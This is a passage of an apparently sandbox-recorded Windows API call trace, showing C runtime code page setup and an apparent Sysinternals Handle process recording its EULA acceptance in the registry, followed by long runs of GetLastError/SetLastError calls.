(dwErrCode=0x0) [0100.019] IsValidCodePage (CodePage=0x4e4) returned 1 [0100.019] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12fe00 | out: lpCPInfo=0x12fe00) returned 1 [0100.019] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12f8a0 | out: lpCPInfo=0x12f8a0) returned 1 [0100.019] GetLastError () returned 0x0 [0100.019] SetLastError (dwErrCode=0x0) [0100.019] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0100.019] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f5a0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ遡紩") returned 256 [0100.019] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ遡紩", cchSrc=256, lpCharType=0x12fbc0 | out: lpCharType=0x12fbc0) returned 1 [0100.019] GetLastError () returned 0x0 [0100.019] SetLastError (dwErrCode=0x0) [0100.019] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0100.019] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0100.019] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0100.019] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0100.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x12f9c0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", lpUsedDefaultChar=0x0) returned 256 [0100.019] GetLastError () returned 0x0 [0100.019] SetLastError (dwErrCode=0x0) [0100.019] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0100.019] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0100.019] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0100.019] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0100.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x12fac0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0100.019] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x100) returned 0x3412c0 [0100.020] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x140010890) returned 0x0 [0100.020] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x3412c0) returned 0x100 [0100.020] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0100.020] GetProcAddress (hModule=0x76f20000, lpProcName="IsWow64Process") returned 0x76f291d0 [0100.020] GetCurrentProcess () returned 0xffffffffffffffff [0100.020] IsWow64Process (in: hProcess=0xffffffffffffffff, Wow64Process=0x12fef0 | out: Wow64Process=0x12fef0) returned 1 [0100.020] GetLastError () returned 0x0 [0100.020] SetLastError (dwErrCode=0x0) [0100.020] GetLastError () returned 0x0 [0100.020] SetLastError (dwErrCode=0x0) [0100.020] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Sysinternals", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x0) returned 0x2 [0100.020] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x78) returned 0x0 [0100.021] RegQueryValueExW (in: hKey=0x78, lpValueName="EulaAccepted", lpReserved=0x0, lpType=0x0, lpData=0x12fc40, lpcbData=0x12fc48*=0x4 | out: lpType=0x0, lpData=0x12fc40*=0x0, lpcbData=0x12fc48*=0x4) returned 0x2 [0100.021] RegCloseKey (hKey=0x78) returned 0x0 [0100.021] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals\\Handle", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x78) returned 0x0 [0100.021] RegQueryValueExW (in: hKey=0x78, lpValueName="EulaAccepted", lpReserved=0x0, lpType=0x0, lpData=0x12fc40, lpcbData=0x12fc48*=0x4 | out: lpType=0x0, lpData=0x12fc40*=0x1, lpcbData=0x12fc48*=0x4) returned 0x0 [0100.021] RegCloseKey (hKey=0x78) returned 0x0 [0100.021] GetLastError () returned 0x0 [0100.021] SetLastError (dwErrCode=0x0) [0100.021] GetLastError () returned 0x0 [0100.021] SetLastError (dwErrCode=0x0) [0100.021] RegCreateKeyW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals\\Handle", phkResult=0x12fc38 | out: phkResult=0x12fc38*=0x78) returned 0x0 [0100.021] RegSetValueExW (in: hKey=0x78, lpValueName="EulaAccepted", Reserved=0x0, dwType=0x4, lpData=0x12fc30*=0x1, cbData=0x4 | out: lpData=0x12fc30*=0x1) returned 0x0 [0100.021] RegCloseKey (hKey=0x78) returned 0x0 [0100.021] GetLastError () returned 0x0 [0100.021] SetLastError (dwErrCode=0x0) [0100.022] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x0, Size=0x1000) returned 0x3423d0 [0100.022] GetLastError () returned 0x0 [0100.022] SetLastError (dwErrCode=0x0) [0100.022] GetLastError () returned 0x0 [0100.022] SetLastError (dwErrCode=0x0) [0100.022] GetLastError () returned 0x0 [0100.022] SetLastError (dwErrCode=0x0) [0100.022] GetLastError () returned 0x0 [0100.022] SetLastError (dwErrCode=0x0) [0100.022] GetLastError () returned 0x0 [0100.022] SetLastError (dwErrCode=0x0) [0100.022] GetLastError () returned 0x0 [0100.022] SetLastError (dwErrCode=0x0) [0100.022] GetLastError () returned 0x0 [0100.022] SetLastError (dwErrCode=0x0) [0100.022] GetLastError () returned 0x0 [0100.022] SetLastError (dwErrCode=0x0) [0100.022] GetLastError () returned 0x0 [0100.022] SetLastError (dwErrCode=0x0) [0100.022] GetLastError () returned 0x0 [0100.022] SetLastError (dwErrCode=0x0) [0100.022] GetLastError () returned 0x0 [0100.022] SetLastError (dwErrCode=0x0) [0100.022] GetLastError () returned 0x0 [0100.022] SetLastError (dwErrCode=0x0) [0100.023] GetLastError () returned 0x0 [0100.023] SetLastError (dwErrCode=0x0) [0100.023] GetLastError () returned 0x0 [0100.023] SetLastError (dwErrCode=0x0) [0100.023] GetLastError () returned 0x0 [0100.023] SetLastError (dwErrCode=0x0) [0100.023] GetLastError () returned 0x0 [0100.023] SetLastError (dwErrCode=0x0) [0100.023] GetLastError () returned 0x0 [0100.023] SetLastError (dwErrCode=0x0) [0100.023] GetLastError () returned 0x0 [0100.023] SetLastError (dwErrCode=0x0) [0100.023] GetLastError () returned 0x0 [0100.023] SetLastError (dwErrCode=0x0) [0100.023] GetLastError () returned 0x0 [0100.023] SetLastError (dwErrCode=0x0) [0100.023] GetLastError () returned 0x0 [0100.023] SetLastError (dwErrCode=0x0) [0100.023] GetLastError () returned 0x0 [0100.023] SetLastError (dwErrCode=0x0) [0100.023] GetLastError () returned 0x0 [0100.023] SetLastError (dwErrCode=0x0) [0100.023] GetLastError () returned 0x0 [0100.023] SetLastError (dwErrCode=0x0) [0100.023] GetLastError () returned 0x0 [0100.023] SetLastError (dwErrCode=0x0) [0100.023] GetLastError () returned 0x0 [0100.023] SetLastError (dwErrCode=0x0) [0100.023] GetLastError () returned 0x0 [0100.023] SetLastError (dwErrCode=0x0) [0100.023] GetLastError () returned 0x0 [0100.023] SetLastError (dwErrCode=0x0) [0100.024] GetLastError () returned 0x0 [0100.024] SetLastError (dwErrCode=0x0) [0100.024] GetLastError () returned 0x0 [0100.024] SetLastError (dwErrCode=0x0) [0100.024] GetLastError () returned 0x0 [0100.024] SetLastError (dwErrCode=0x0) [0100.024] GetLastError () returned 0x0 [0100.024] SetLastError (dwErrCode=0x0) [0100.024] GetLastError () returned 0x0 [0100.024] SetLastError (dwErrCode=0x0) [0100.024] GetLastError () returned 0x0 [0100.024] SetLastError (dwErrCode=0x0) [0100.024] GetLastError () returned 0x0 [0100.024] SetLastError (dwErrCode=0x0) [0100.024] GetLastError () returned 0x0 [0100.024] SetLastError (dwErrCode=0x0) [0100.024] GetLastError () returned 0x0 [0100.024] SetLastError (dwErrCode=0x0) [0100.024] GetLastError () returned 0x0 [0100.024] SetLastError (dwErrCode=0x0) [0100.024] GetLastError () returned 0x0 [0100.024] SetLastError (dwErrCode=0x0) [0100.024] GetLastError () returned 0x0 [0100.024] SetLastError (dwErrCode=0x0) [0100.024] GetLastError () returned 0x0 [0100.024] SetLastError (dwErrCode=0x0) [0100.024] GetLastError () returned 0x0 [0100.024] SetLastError (dwErrCode=0x0) [0100.024] GetLastError () returned 0x0 [0100.024] SetLastError (dwErrCode=0x0) [0100.024] GetLastError () returned 0x0 [0100.024] SetLastError (dwErrCode=0x0) [0100.024] GetLastError () returned 0x0 [0100.025] SetLastError (dwErrCode=0x0) [0100.025] GetLastError () returned 0x0 [0100.025] SetLastError (dwErrCode=0x0) [0100.025] GetLastError () returned 0x0 [0100.025] SetLastError (dwErrCode=0x0) [0100.025] GetLastError () returned 0x0 [0100.025] SetLastError (dwErrCode=0x0) [0100.025] GetLastError () returned 0x0 [0100.025] SetLastError (dwErrCode=0x0) [0100.025] GetLastError () returned 0x0 [0100.025] SetLastError (dwErrCode=0x0) [0100.025] GetLastError () returned 0x0 [0100.025] SetLastError (dwErrCode=0x0) [0100.025] GetLastError () returned 0x0 [0100.025] SetLastError (dwErrCode=0x0) [0100.025] GetLastError () returned 0x0 [0100.025] SetLastError (dwErrCode=0x0) [0100.025] GetLastError () returned 0x0 [0100.025] SetLastError (dwErrCode=0x0) [0100.025] GetLastError () returned 0x0 [0100.025] SetLastError (dwErrCode=0x0) [0100.025] GetLastError () returned 0x0 [0100.025] SetLastError (dwErrCode=0x0) [0100.025] GetLastError () returned 0x0 [0100.025] SetLastError (dwErrCode=0x0) [0100.025] GetLastError () returned 0x0 [0100.025] SetLastError (dwErrCode=0x0) [0100.025] GetLastError () returned 0x0 [0100.025] SetLastError (dwErrCode=0x0) [0100.025] GetLastError () returned 0x0 [0100.025] SetLastError (dwErrCode=0x0) [0100.025] GetLastError () returned 0x0 [0100.026] SetLastError (dwErrCode=0x0) [0100.026] GetLastError () returned 0x0 [0100.026] SetLastError (dwErrCode=0x0) [0100.026] GetLastError () returned 0x0 [0100.026] SetLastError (dwErrCode=0x0) [0100.026] GetLastError () returned 0x0 [0100.026] SetLastError (dwErrCode=0x0) [0100.026] GetLastError () returned 0x0 [0100.026] SetLastError (dwErrCode=0x0) [0100.026] GetLastError () returned 0x0 [0100.026] SetLastError (dwErrCode=0x0) [0100.026] GetLastError () returned 0x0 [0100.026] SetLastError (dwErrCode=0x0) [0100.026] GetLastError () returned 0x0 [0100.026] SetLastError (dwErrCode=0x0) [0100.026] GetLastError () returned 0x0 [0100.026] SetLastError (dwErrCode=0x0) [0100.026] GetLastError () returned 0x0 [0100.026] SetLastError (dwErrCode=0x0) [0100.026] GetLastError () returned 0x0 [0100.026] SetLastError (dwErrCode=0x0) [0100.026] GetLastError () returned 0x0 [0100.026] SetLastError (dwErrCode=0x0) [0100.026] GetLastError () returned 0x0 [0100.026] SetLastError (dwErrCode=0x0) [0100.026] GetLastError () returned 0x0 [0100.026] SetLastError (dwErrCode=0x0) [0100.026] GetLastError () returned 0x0 [0100.026] SetLastError (dwErrCode=0x0) [0100.026] GetLastError () returned 0x0 [0100.026] SetLastError (dwErrCode=0x0) [0100.027] GetLastError () returned 0x0 [0100.027] SetLastError (dwErrCode=0x0) [0100.027] GetLastError () returned 0x0 [0100.027] SetLastError (dwErrCode=0x0) [0100.027] GetLastError () returned 0x0 [0100.027] SetLastError (dwErrCode=0x0) [0100.027] GetLastError () returned 0x0 [0100.027] SetLastError (dwErrCode=0x0) [0100.027] GetLastError () returned 0x0 [0100.027] SetLastError (dwErrCode=0x0) [0100.027] GetLastError () returned 0x0 [0100.027] SetLastError (dwErrCode=0x0) [0100.027] GetLastError () returned 0x0 [0100.027] SetLastError (dwErrCode=0x0) [0100.027] GetLastError () returned 0x0 [0100.027] SetLastError (dwErrCode=0x0) [0100.027] GetLastError () returned 0x0 [0100.027] SetLastError (dwErrCode=0x0) [0100.027] GetLastError () returned 0x0 [0100.027] SetLastError (dwErrCode=0x0) [0100.027] GetLastError () returned 0x0 [0100.027] SetLastError (dwErrCode=0x0) [0100.027] GetLastError () returned 0x0 [0100.027] SetLastError (dwErrCode=0x0) [0100.027] GetLastError () returned 0x0 [0100.027] SetLastError (dwErrCode=0x0) [0100.027] GetLastError () returned 0x0 [0100.027] SetLastError (dwErrCode=0x0) [0100.027] GetLastError () returned 0x0 [0100.027] SetLastError (dwErrCode=0x0) [0100.027] GetLastError () returned 0x0 [0100.027] SetLastError (dwErrCode=0x0) [0100.027] GetLastError () returned 0x0 [0100.028] SetLastError (dwErrCode=0x0) [0100.028] GetLastError () returned 0x0 [0100.028] SetLastError (dwErrCode=0x0) [0100.028] GetLastError () returned 0x0 [0100.028] SetLastError (dwErrCode=0x0) [0100.028] GetLastError () returned 0x0 [0100.028] SetLastError (dwErrCode=0x0) [0100.028] GetLastError () returned 0x0 [0100.028] SetLastError (dwErrCode=0x0) [0100.028] GetLastError () returned 0x0 [0100.028] SetLastError (dwErrCode=0x0) [0100.028] GetLastError () returned 0x0 [0100.028] SetLastError (dwErrCode=0x0) [0100.028] GetLastError () returned 0x0 [0100.028] SetLastError (dwErrCode=0x0) [0100.028] GetLastError () returned 0x0 [0100.028] SetLastError (dwErrCode=0x0) [0100.028] GetLastError () returned 0x0 [0100.028] SetLastError (dwErrCode=0x0) [0100.028] GetLastError () returned 0x0 [0100.028] SetLastError (dwErrCode=0x0) [0100.028] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12e2b4 | out: lpMode=0x12e2b4) returned 1 [0100.154] WriteFile (in: hFile=0x7, lpBuffer=0x12e980*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0x12e2a0, lpOverlapped=0x0 | out: lpBuffer=0x12e980*, lpNumberOfBytesWritten=0x12e2a0*=0x65, lpOverlapped=0x0) returned 1 [0100.258] GetLastError () returned 0x0 [0100.258] SetLastError (dwErrCode=0x0) [0100.258] GetLastError () returned 0x0 [0100.258] SetLastError (dwErrCode=0x0) [0100.258] GetLastError () returned 0x0 [0100.258] SetLastError (dwErrCode=0x0) [0100.258] GetLastError () returned 0x0 [0100.258] SetLastError (dwErrCode=0x0) [0100.258] GetLastError () returned 0x0 [0100.258] SetLastError (dwErrCode=0x0) [0100.258] GetLastError () returned 0x0 [0100.258] SetLastError (dwErrCode=0x0) [0100.258] GetLastError () returned 0x0 [0100.258] SetLastError (dwErrCode=0x0) [0100.258] GetLastError () returned 0x0 [0100.258] SetLastError (dwErrCode=0x0) [0100.258] GetLastError () returned 0x0 [0100.258] SetLastError (dwErrCode=0x0) [0100.258] GetLastError () returned 0x0 [0100.258] SetLastError (dwErrCode=0x0) [0100.258] GetLastError () returned 0x0 [0100.258] SetLastError (dwErrCode=0x0) [0100.258] GetLastError () returned 0x0 [0100.258] SetLastError (dwErrCode=0x0) [0100.258] GetLastError () returned 0x0 [0100.258] SetLastError (dwErrCode=0x0) [0100.258] GetLastError () returned 0x0 [0100.258] SetLastError (dwErrCode=0x0) [0100.258] GetLastError () returned 0x0 [0100.259] SetLastError (dwErrCode=0x0) [0100.259] GetLastError () returned 0x0 [0100.259] SetLastError (dwErrCode=0x0) [0100.259] GetLastError () returned 0x0 [0100.259] SetLastError (dwErrCode=0x0) [0100.259] 